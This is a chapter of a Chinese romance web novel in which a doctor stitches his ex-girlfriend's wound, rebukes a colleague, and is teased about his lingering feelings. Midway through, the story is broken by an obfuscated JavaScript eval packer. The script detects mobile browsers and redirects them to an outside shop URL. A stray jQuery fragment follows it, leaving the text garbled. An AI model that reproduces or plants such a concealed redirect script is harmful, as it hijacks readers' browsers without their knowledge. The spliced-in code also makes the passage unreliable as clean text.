当岑尔还在想着如何解释的时候徐衍青在她面前摆了一份同意书,“签字吧,伤口不能拖。”

    签完字后他已经带上口罩、做完手消,正在带无菌手套。

    清创室的东西都备得很齐,可以直接开始,他扬了扬下巴,“脱下外衣,我看不见伤口。”

    “嘶……”

    疼看到伤口后他的眉头拧的更深,没什么情绪地说:“先清洗伤口,会有点疼,忍一忍。”

    伤口是一道又长又深的口子,血已经干了,在皮肤是留下了难以清洗的血痕,为了分散她的注意力,徐衍青开始说话。

    “晚上为什么没来做治疗?”

    岑尔隐约觉得他有些生气,便老实交代:“加班,家里灯泡坏了…”

    “嘶…疼…”

    徐衍青放缓了手上的动作,“继续说,别停。”

    “洗完澡打算换灯泡,换完打算从凳子上下来的时候头忽然发晕,看不清东西,就摔下来划伤了…”她越说脸色越难看,手心掐成一团。

    徐衍青看到了,不动声色地挪过去,“松开手,实在疼的话掐我。”

    她可不敢掐,掐坏了谁给她缝合,只能老老实实松开手,咬着牙说:“生理盐水…清洗伤口…好…疼…”

    到后面她连话都说不出来,只能一下又一下地抽着气,这种疼痛不亚于慢慢在她皮肤上划出一个又长又深的口子。

    “好了,不会那么疼了。”徐衍青放下手里的东西,更换无菌手套,开始用碘伏给皮肤消毒,为接下来缝合做准备。

    岑尔没说话,只是浅短地呼吸着,伤口的余痛并没有减轻,倒像是绵长细密的雨,不多,但一直在。

    见她这样,徐衍青安慰到:“等会涂完碘伏就打麻药了,不会疼了,要是怕打针的话,就闭上眼睛,很快就结束了。”

    听到要打针,岑尔的眼睛就是闭着的,她太怕这种尖锐冰冷的东西了,身体隐隐发抖。

    徐衍青:“你平时下班都这么晚?”

    “不是,今天事情有点多。“

    “加班到十点?“

    “嗯...”

    “就你一个人加班吗?其他人呢。“

    “我让他们先回去了。”

    “你和他们关系应该还不错吧?”

    “大家人都很好,工作也不推诿扯皮,算比较愉快的。”

    她说着说着觉得不对——他怎么一直在问问题?

    还没想明白,就听见徐衍青说:“打完了。”

    她猛地睁眼:“什么时候打完的?“

    徐衍青已经把针管放到一边,语气平淡:“你不是在回答问题吗?“

    “......”

    她被噎住了,他问问题的时候她满脑子都在想怎么回答,完全没注意到针头。

    “麻药过几分钟生效,先等等。”

    这时,孔列和护士急急忙忙走了进来。

    “孔医生,快来,这有个患者伤口可深了,赶紧帮她包扎一下!”

    “好好好,我这不是来了嘛,没事的没事的,出不了大事。”

    听到这话徐衍青看了过去,平时他的眼睛不笑就是有点冷的,生起气来更是没法用语言来形容,孔列立马定在原地,心虚地咽了咽口水。

    他将人带到一边单独说,质疑道:“这是急诊,出不了大事?”

    孔列和护士面面相觑。

    徐衍青的声音平得像一条直线,没有一丝起伏,但脸紧绷着:“这是急诊,患者受伤独自坐这么久,一个医护人员都没来,如果患者有其他疾病怎么办,如果患者失血过多晕倒了又怎么办,谁负责?你还是我?”他忽然看向护士:“还是你来负责?”

    护士突然被这么一说汗毛瞬间就立起来,但确实是自己做得不对,低头不说话。

    孔列开始当和事佬缓和气氛:“这也是情况特殊嘛,今天急诊来了个病人,情况比较紧急,也不是故意的。”

    徐衍青不想下孔列面子,冷着脸没说话。

    孔列心虚地摸摸头不说话,他承认他是去凑热闹的,但还是想给自己挽回点面子,但看见徐衍青的冷脸话就拐了一百八十度大弯:“我…下回我注意,我一定注意。”

    “下不为例。”

    平时很少见徐衍青发这么大的火,他在医院的脾气向来都很好,遇到很难缠的病人也都是和颜悦色的,今天太反常了。

    意识到自己的语气似乎有些严厉,徐衍青顿了几秒,稍微缓和了些:“这里我来处理,你们去忙吧。”

    岑尔依稀听见他们的谈话,忽然意识到徐衍青好像生气了。

    因为什么生气?因为她吗?

    孔列想看看到底是什么病人能让徐衍青发这么大火,头刚探出去就被徐衍青挡住了,冷着脸说:“不想走是想留下来观摩?”

    “没没没,我还有事,先走了。”说完孔列立马拉着护士溜了。

    出去后孔列还往里头看了一眼,依旧什么都没看到。

    护士不解地问:“今天徐医生为什么发这么大火?平时他不这样的。”

    “谁知道呢,吃枪药了吧。”孔列耸耸肩,他觉得事情有鬼,决定等会再探。

    刚刚看着徐衍青发完火的岑尔还有点懵,为了缓和气氛,开口说:“麻药好像起效了,现在缝合吗?”

    转过身来的徐衍青又恢复到了以前那个平和的样子,声音软了不少:“嗯,现在缝合,很快的,要是怕的话不要看,闭上眼睛就好,缝好了我叫你。”

    缝合的时候谁都没说话,岑尔就静静地看着他操作,工作的时候他很专注,手很稳,针法快准狠。

    银丝边框眼镜加在高挺的鼻梁上,她能看见他微微卷翘的睫毛,以及因为专注而蹙起的眉毛。

    看到这里,岑尔不经感慨他的皮肤真好,白皙又细腻,而且皮贴骨,一点皱纹都没有。

    她不知道的是,徐衍青会保养脸部,比如用手法来按摩脸部,促进血液循环的同时预防长皱纹,护肤品也涂的,加上不抽烟不喝酒,同龄人没几个皮肤比他好的。

    他是个讲究人,也爱干净。

    连孔列都说没见过他这么讲究的人,不知道的还以为是什么以色侍人的小白脸,怕被金主抛弃才这样保养自己。

    对此徐衍青并没有否认。

    岑尔一时看得入迷了,脑子里突然蹿出一个荒唐的想法——他刚刚发火是因为她吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767486|209770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?

    他似乎很担心她,包括她醒来看见他的第一眼,是很强烈的担忧,甚至还有心疼。

    如果是这样的话,他是不是对她还有感情?他们是不是......

    不可以再想了!!!

    他这样做是出于医生的职业道德,如果是别人他也会这样做,她并不是特殊的那个。

    “缝好了,应该不会留疤,要是留疤了也没关系,我给你开些祛疤的药,涂一段时间就会好。”

    岑尔点点头,“谢谢。”

    “没事,你在这坐着,我去拿破伤风的针来,你的伤口太深了,以防万一还是打破伤风比较保险。”

    走之前他犹豫地看了一眼岑尔,在清创室明亮的灯光下她身体曲线一览无遗,像层峦叠嶂的山峰,饱饱丰腴。

    只用了一秒徐衍青就决定给她披上黑色外套,他没说为什么,岑尔也没问为什么。

    “带了社保卡吗?电子的也行。”

    她拿出手机打开电子医保卡,然后递给他。

    徐衍青接过手机,叮嘱到:“我去缴费,在这里等我。”

    她点点头。

    在外面等着的孔列见徐衍青出来了赶紧溜进来,看到岑尔的脸后恍然大悟。

    怪不得,原来是他忘不掉的前女友,心尖尖上的人。

    岑尔见孔列觉得有些眼熟,一时间记不起来,礼貌地问:“请问有什么事吗?”

    “没事,我就来看看你的情况,刚刚不好意思,太忙了所以没顾上你,希望...没给你造成不好的影响。”

    “不会的,你们也很忙,而且也有人给我处理伤口,我没什么事。”岑尔回答道。

    “不过你还挺幸运的。”孔列一脸意外,看着门外正在导医台的徐衍青感慨道:

    “唉,他当年可是我们的外科圣手,做手术那叫一个快准狠,手都不带抖一下,伤口缝得漂亮极了,根本看不出来,可惜了,他不愿意留在外科,偏要去康复科,人家老领导左求右求就差下跪了,他都没留下。”

    突然话锋一转,对岑尔说:“你还不知道吧,他在我们医院出了名的脾气好,今天本来也不在急诊,他明明可以叫我来给你做清创缝合的,偏要自己来做这费力不讨好的事情,或者干脆一不做二不休,权当没看见,也没有人会说什么。”

    “不会的,他不会装作没看见的。”岑尔下意识否认。

    “噢,为什么??”孔列对她的回答感到好奇。

    她想都没想就说:“他是医生。?”

    “是吗?”孔列的表情耐人寻味:“那你应该也知道他只是医生,医生是不会贴心到让病人坐着,然后自己去缴费拿破伤风的针过来给你打,这是护士的事情,或者是你的事情,他完全可以让你自己去??,毕竟你是一只手受伤,不是腿受伤走不了??,无论如何,这都不会是他的事情。”

    岑尔没说话,低头有一下没一下地用脚尖点着地板。

    “啧啧,我们徐医生可不是什么热心肠的人。”孔列感慨地摇摇头:“他对老人家比较热心肠,毕竟年纪大了,腿脚不方便,但年轻的女患者我们可不会这么热心,他更是避之不及,你说他为什么要这么做啊?”